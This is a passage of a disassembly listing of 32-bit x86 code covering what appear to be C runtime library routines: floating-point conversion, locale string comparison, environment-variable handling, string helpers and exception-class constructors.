		jnz	short loc_421F7D

loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8

loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3

loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031

loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]

loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1

loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D

loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]

loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------

loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43C090
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43C1F0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi

loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi

loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_48B444
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_48B664
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_48A044
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150

loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195

loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax

loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_48A300, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 2580000h
		nop
		test	eax, eax
		jz	short loc_42223A
		mov	dword_48A300, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------

loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_43C824
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 2580676h
		test	eax, eax
		jz	loc_422453
		mov	dword_48A300, 2

loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_48A300
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2580676h
		nop
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax

loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368

loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD

loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2

loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9

loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28413B4h
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E

loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5

loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314

loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------

loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2

loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5

loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------

loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 25F0000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2580000h
		jmp	short loc_422455
; ---------------------------------------------------------------------------

loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax

loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484

loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477

loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_48A03C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_48A040
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_48A03C, eax

loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_48A044, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534

loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh

loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A03C, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_48A044, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A044, eax
		jz	short loc_4224F6
		mov	[eax], edi

loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_48A03C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx

loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------

loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------

loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------

loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi

loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_48A03C, eax

loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 2570141h
		push	esi
		call	sub_417C3B
		pop	ecx

loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_48A03C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]

loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664

loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B

loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		neg	eax

loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692

loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688

loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx

loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------

loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]

loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_48B561[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739

loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------

loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------

loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx

loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
